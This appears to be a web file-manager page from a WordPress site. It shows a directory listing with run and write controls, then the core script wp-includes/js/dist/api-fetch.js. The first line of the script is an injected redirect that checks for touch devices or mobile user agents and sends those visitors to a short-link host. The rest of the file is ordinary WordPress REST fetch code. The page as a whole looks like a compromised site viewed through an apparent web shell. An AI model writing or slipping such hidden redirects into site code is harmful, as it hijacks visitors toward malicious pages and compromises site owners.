at path:ROOT / wp-includes / js / dist / api-fetch.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄api-fetch.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).apiFetch = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/i18n
37 var require_i18n = __commonJS({
38 "package-external:@wordpress/i18n"(exports, module) {
39 module.exports = window.wp.i18n;
40 }
41 });
42
43 // package-external:@wordpress/url
44 var require_url = __commonJS({
45 "package-external:@wordpress/url"(exports, module) {
46 module.exports = window.wp.url;
47 }
48 });
49
50 // packages/api-fetch/build-module/index.mjs
51 var index_exports = {};
52 __export(index_exports, {
53 default: () => index_default
54 });
55 var import_i18n3 = __toESM(require_i18n(), 1);
56
57 // packages/api-fetch/build-module/middlewares/nonce.mjs
58 function createNonceMiddleware(nonce) {
59 const middleware = (options, next) => {
60 const { headers = {} } = options;
61 for (const headerName in headers) {
62 if (headerName.toLowerCase() === "x-wp-nonce" && headers[headerName] === middleware.nonce) {
63 return next(options);
64 }
65 }
66 return next({
67 ...options,
68 headers: {
69 ...headers,
70 "X-WP-Nonce": middleware.nonce
71 }
72 });
73 };
74 middleware.nonce = nonce;
75 return middleware;
76 }
77 var nonce_default = createNonceMiddleware;
78
79 // packages/api-fetch/build-module/middlewares/namespace-endpoint.mjs
80 var namespaceAndEndpointMiddleware = (options, next) => {
81 let path = options.path;
82 let namespaceTrimmed, endpointTrimmed;
83 if (typeof options.namespace === "string" && typeof options.endpoint === "string") {
84 namespaceTrimmed = options.namespace.replace(/^\/|\/$/g, "");
85 endpointTrimmed = options.endpoint.replace(/^\//, "");
86 if (endpointTrimmed) {
87 path = namespaceTrimmed + "/" + endpointTrimmed;
88 } else {
89 path = namespaceTrimmed;
90 }
91 }
92 delete options.namespace;
93 delete options.endpoint;
94 return next({
95 ...options,
96 path
97 });
98 };
99 var namespace_endpoint_default = namespaceAndEndpointMiddleware;
100
101 // packages/api-fetch/build-module/middlewares/root-url.mjs
102 var createRootURLMiddleware = (rootURL) => (options, next) => {
103 return namespace_endpoint_default(options, (optionsWithPath) => {
104 let url = optionsWithPath.url;
105 let path = optionsWithPath.path;
106 let apiRoot;
107 if (typeof path === "string") {
108 apiRoot = rootURL;
109 if (-1 !== rootURL.indexOf("?")) {
110 path = path.replace("?", "&");
111 }
112 path = path.replace(/^\//, "");
113 if ("string" === typeof apiRoot && -1 !== apiRoot.indexOf("?")) {
114 path = path.replace("?", "&");
115 }
116 url = apiRoot + path;
117 }
118 return next({
119 ...optionsWithPath,
120 url
121 });
122 });
123 };
124 var root_url_default = createRootURLMiddleware;
125
126 // packages/api-fetch/build-module/middlewares/preloading.mjs
127 var import_url = __toESM(require_url(), 1);
128 function createPreloadingMiddleware(preloadedData) {
129 const cache = Object.fromEntries(
130 Object.entries(preloadedData).map(([path, data]) => [
131 (0, import_url.normalizePath)(path),
132 data
133 ])
134 );
135 return (options, next) => {
136 const { parse = true } = options;
137 let rawPath = options.path;
138 if (!rawPath && options.url) {
139 const { rest_route: pathFromQuery, ...queryArgs } = (0, import_url.getQueryArgs)(
140 options.url
141 );
142 if (typeof pathFromQuery === "string") {
143 rawPath = (0, import_url.addQueryArgs)(pathFromQuery, queryArgs);
144 }
145 }
146 if (typeof rawPath !== "string") {
147 return next(options);
148 }
149 const method = options.method || "GET";
150 const path = (0, import_url.normalizePath)(rawPath);
151 if ("GET" === method && cache[path]) {
152 const cacheData = cache[path];
153 delete cache[path];
154 return prepareResponse(cacheData, !!parse);
155 } else if ("OPTIONS" === method && cache[method] && cache[method][path]) {
156 const cacheData = cache[method][path];
157 delete cache[method][path];
158 return prepareResponse(cacheData, !!parse);
159 }
160 return next(options);
161 };
162 }
163 function prepareResponse(responseData, parse) {
164 if (parse) {
165 return Promise.resolve(responseData.body);
166 }
167 try {
168 return Promise.resolve(
169 new window.Response(JSON.stringify(responseData.body), {
170 status: 200,
171 statusText: "OK",
172 headers: responseData.headers
173 })
174 );
175 } catch {
176 Object.entries(
177 responseData.headers
178 ).forEach(([key, value]) => {
179 if (key.toLowerCase() === "link") {
180 responseData.headers[key] = value.replace(
181 /<([^>]+)>/,
182 (_, url) => `<${encodeURI(url)}>`
183 );
184 }
185 });
186 return Promise.resolve(
187 parse ? responseData.body : new window.Response(JSON.stringify(responseData.body), {
188 status: 200,
189 statusText: "OK",
190 headers: responseData.headers
191 })
192 );
193 }
194 }
195 var preloading_default = createPreloadingMiddleware;
196
197 // packages/api-fetch/build-module/middlewares/fetch-all-middleware.mjs
198 var import_url2 = __toESM(require_url(), 1);
199 var modifyQuery = ({ path, url, ...options }, queryArgs) => ({
200 ...options,
201 url: url && (0, import_url2.addQueryArgs)(url, queryArgs),
202 path: path && (0, import_url2.addQueryArgs)(path, queryArgs)
203 });
204 var parseResponse = (response) => response.json ? response.json() : Promise.reject(response);
205 var parseLinkHeader = (linkHeader) => {
206 if (!linkHeader) {
207 return {};
208 }
209 const match = linkHeader.match(/<([^>]+)>; rel="next"/);
210 return match ? {
211 next: match[1]
212 } : {};
213 };
214 var getNextPageUrl = (response) => {
215 const { next } = parseLinkHeader(response.headers.get("link"));
216 return next;
217 };
218 var requestContainsUnboundedQuery = (options) => {
219 const pathIsUnbounded = !!options.path && options.path.indexOf("per_page=-1") !== -1;
220 const urlIsUnbounded = !!options.url && options.url.indexOf("per_page=-1") !== -1;
221 return pathIsUnbounded || urlIsUnbounded;
222 };
223 var fetchAllMiddleware = async (options, next) => {
224 if (options.parse === false) {
225 return next(options);
226 }
227 if (!requestContainsUnboundedQuery(options)) {
228 return next(options);
229 }
230 const response = await index_default({
231 ...modifyQuery(options, {
232 per_page: 100
233 }),
234 // Ensure headers are returned for page 1.
235 parse: false
236 });
237 const results = await parseResponse(response);
238 if (!Array.isArray(results)) {
239 return results;
240 }
241 let nextPage = getNextPageUrl(response);
242 if (!nextPage) {
243 return results;
244 }
245 let mergedResults = [].concat(results);
246 while (nextPage) {
247 const nextResponse = await index_default({
248 ...options,
249 // Ensure the URL for the next page is used instead of any provided path.
250 path: void 0,
251 url: nextPage,
252 // Ensure we still get headers so we can identify the next page.
253 parse: false
254 });
255 const nextResults = await parseResponse(nextResponse);
256 mergedResults = mergedResults.concat(nextResults);
257 nextPage = getNextPageUrl(nextResponse);
258 }
259 return mergedResults;
260 };
261 var fetch_all_middleware_default = fetchAllMiddleware;
262
263 // packages/api-fetch/build-module/middlewares/http-v1.mjs
264 var OVERRIDE_METHODS = /* @__PURE__ */ new Set(["PATCH", "PUT", "DELETE"]);
265 var DEFAULT_METHOD = "GET";
266 var httpV1Middleware = (options, next) => {
267 const { method = DEFAULT_METHOD } = options;
268 if (OVERRIDE_METHODS.has(method.toUpperCase())) {
269 options = {
270 ...options,
271 headers: {
272 ...options.headers,
273 "X-HTTP-Method-Override": method,
274 "Content-Type": "application/json"
275 },
276 method: "POST"
277 };
278 }
279 return next(options);
280 };
281 var http_v1_default = httpV1Middleware;
282
283 // packages/api-fetch/build-module/middlewares/user-locale.mjs
284 var import_url3 = __toESM(require_url(), 1);
285 var userLocaleMiddleware = (options, next) => {
286 if (typeof options.url === "string" && !(0, import_url3.hasQueryArg)(options.url, "_locale")) {
287 options.url = (0, import_url3.addQueryArgs)(options.url, { _locale: "user" });
288 }
289 if (typeof options.path === "string" && !(0, import_url3.hasQueryArg)(options.path, "_locale")) {
290 options.path = (0, import_url3.addQueryArgs)(options.path, { _locale: "user" });
291 }
292 return next(options);
293 };
294 var user_locale_default = userLocaleMiddleware;
295
296 // packages/api-fetch/build-module/middlewares/media-upload.mjs
297 var import_i18n2 = __toESM(require_i18n(), 1);
298
299 // packages/api-fetch/build-module/utils/response.mjs
300 var import_i18n = __toESM(require_i18n(), 1);
301 async function parseJsonAndNormalizeError(response) {
302 try {
303 return await response.json();
304 } catch {
305 throw {
306 code: "invalid_json",
307 message: (0, import_i18n.__)("The response is not a valid JSON response.")
308 };
309 }
310 }
311 async function parseResponseAndNormalizeError(response, shouldParseResponse = true) {
312 if (!shouldParseResponse) {
313 return response;
314 }
315 if (response.status === 204) {
316 return null;
317 }
318 return await parseJsonAndNormalizeError(response);
319 }
320 async function parseAndThrowError(response, shouldParseResponse = true) {
321 if (!shouldParseResponse) {
322 throw response;
323 }
324 throw await parseJsonAndNormalizeError(response);
325 }
326
327 // packages/api-fetch/build-module/middlewares/media-upload.mjs
328 function isMediaUploadRequest(options) {
329 const isCreateMethod = !!options.method && options.method === "POST";
330 const isMediaEndpoint = !!options.path && options.path.indexOf("/wp/v2/media") !== -1 || !!options.url && options.url.indexOf("/wp/v2/media") !== -1;
331 return isMediaEndpoint && isCreateMethod;
332 }
333 var mediaUploadMiddleware = (options, next) => {
334 if (!isMediaUploadRequest(options)) {
335 return next(options);
336 }
337 let retries = 0;
338 const maxRetries = 5;
339 const postProcess = (attachmentId) => {
340 retries++;
341 return next({
342 path: `/wp/v2/media/${attachmentId}/post-process`,
343 method: "POST",
344 data: { action: "create-image-subsizes" },
345 parse: false
346 }).catch(() => {
347 if (retries < maxRetries) {
348 return postProcess(attachmentId);
349 }
350 next({
351 path: `/wp/v2/media/${attachmentId}?force=true`,
352 method: "DELETE"
353 });
354 return Promise.reject();
355 });
356 };
357 return next({ ...options, parse: false }).catch((response) => {
358 if (!(response instanceof globalThis.Response)) {
359 return Promise.reject(response);
360 }
361 const attachmentId = response.headers.get(
362 "x-wp-upload-attachment-id"
363 );
364 if (response.status >= 500 && response.status < 600 && attachmentId) {
365 return postProcess(attachmentId).catch(() => {
366 if (options.parse !== false) {
367 return Promise.reject({
368 code: "post_process",
369 message: (0, import_i18n2.__)(
370 "Media upload failed. If this is a photo or a large image, please scale it down and try again."
371 )
372 });
373 }
374 return Promise.reject(response);
375 });
376 }
377 return parseAndThrowError(response, options.parse);
378 }).then(
379 (response) => parseResponseAndNormalizeError(response, options.parse)
380 );
381 };
382 var media_upload_default = mediaUploadMiddleware;
383
384 // packages/api-fetch/build-module/middlewares/theme-preview.mjs
385 var import_url4 = __toESM(require_url(), 1);
386 var createThemePreviewMiddleware = (themePath) => (options, next) => {
387 if (typeof options.url === "string") {
388 const wpThemePreview = (0, import_url4.getQueryArg)(
389 options.url,
390 "wp_theme_preview"
391 );
392 if (wpThemePreview === void 0) {
393 options.url = (0, import_url4.addQueryArgs)(options.url, {
394 wp_theme_preview: themePath
395 });
396 } else if (wpThemePreview === "") {
397 options.url = (0, import_url4.removeQueryArgs)(
398 options.url,
399 "wp_theme_preview"
400 );
401 }
402 }
403 if (typeof options.path === "string") {
404 const wpThemePreview = (0, import_url4.getQueryArg)(
405 options.path,
406 "wp_theme_preview"
407 );
408 if (wpThemePreview === void 0) {
409 options.path = (0, import_url4.addQueryArgs)(options.path, {
410 wp_theme_preview: themePath
411 });
412 } else if (wpThemePreview === "") {
413 options.path = (0, import_url4.removeQueryArgs)(
414 options.path,
415 "wp_theme_preview"
416 );
417 }
418 }
419 return next(options);
420 };
421 var theme_preview_default = createThemePreviewMiddleware;
422
423 // packages/api-fetch/build-module/index.mjs
424 var DEFAULT_HEADERS = {
425 // The backend uses the Accept header as a condition for considering an
426 // incoming request as a REST request.
427 //
428 // See: https://core.trac.wordpress.org/ticket/44534
429 Accept: "application/json, */*;q=0.1"
430 };
431 var DEFAULT_OPTIONS = {
432 credentials: "include"
433 };
434 var middlewares = [
435 user_locale_default,
436 namespace_endpoint_default,
437 http_v1_default,
438 fetch_all_middleware_default
439 ];
440 function registerMiddleware(middleware) {
441 middlewares.unshift(middleware);
442 }
443 var defaultFetchHandler = (nextOptions) => {
444 const { url, path, data, parse = true, ...remainingOptions } = nextOptions;
445 let { body, headers } = nextOptions;
446 headers = { ...DEFAULT_HEADERS, ...headers };
447 if (data) {
448 body = JSON.stringify(data);
449 headers["Content-Type"] = "application/json";
450 }
451 const responsePromise = globalThis.fetch(
452 // Fall back to explicitly passing `window.location` which is the behavior if `undefined` is passed.
453 url || path || window.location.href,
454 {
455 ...DEFAULT_OPTIONS,
456 ...remainingOptions,
457 body,
458 headers
459 }
460 );
461 return responsePromise.then(
462 (response) => {
463 if (!response.ok) {
464 return parseAndThrowError(response, parse);
465 }
466 return parseResponseAndNormalizeError(response, parse);
467 },
468 (err) => {
469 if (err && err.name === "AbortError") {
470 throw err;
471 }
472 if (!globalThis.navigator.onLine) {
473 throw {
474 code: "offline_error",
475 message: (0, import_i18n3.__)(
476 "Unable to connect. Please check your Internet connection."
477 )
478 };
479 }
480 throw {
481 code: "fetch_error",
482 message: (0, import_i18n3.__)(
483 "Could not get a valid response from the server."
484 )
485 };
486 }
487 );
488 };
489 var fetchHandler = defaultFetchHandler;
490 function setFetchHandler(newFetchHandler) {
491 fetchHandler = newFetchHandler;
492 }
493 var apiFetch = (options) => {
494 const enhancedHandler = middlewares.reduceRight(
495 (next, middleware) => {
496 return (workingOptions) => middleware(workingOptions, next);
497 },
498 fetchHandler
499 );
500 return enhancedHandler(options).catch((error) => {
501 if (error.code !== "rest_cookie_invalid_nonce") {
502 return Promise.reject(error);
503 }
504 return globalThis.fetch(apiFetch.nonceEndpoint).then((response) => {
505 if (!response.ok) {
506 return Promise.reject(error);
507 }
508 return response.text();
509 }).then((text) => {
510 apiFetch.nonceMiddleware.nonce = text;
511 return apiFetch(options);
512 });
513 });
514 };
515 apiFetch.use = registerMiddleware;
516 apiFetch.setFetchHandler = setFetchHandler;
517 apiFetch.createNonceMiddleware = nonce_default;
518 apiFetch.createPreloadingMiddleware = preloading_default;
519 apiFetch.createRootURLMiddleware = root_url_default;
520 apiFetch.fetchAllMiddleware = fetch_all_middleware_default;
521 apiFetch.mediaUploadMiddleware = media_upload_default;
522 apiFetch.createThemePreviewMiddleware = theme_preview_default;
523 var index_default = apiFetch;
524 return __toCommonJS(index_exports);
525})();
526if (typeof wp.apiFetch === 'object' && wp.apiFetch.default) { wp.apiFetch = wp.apiFetch.default; }
527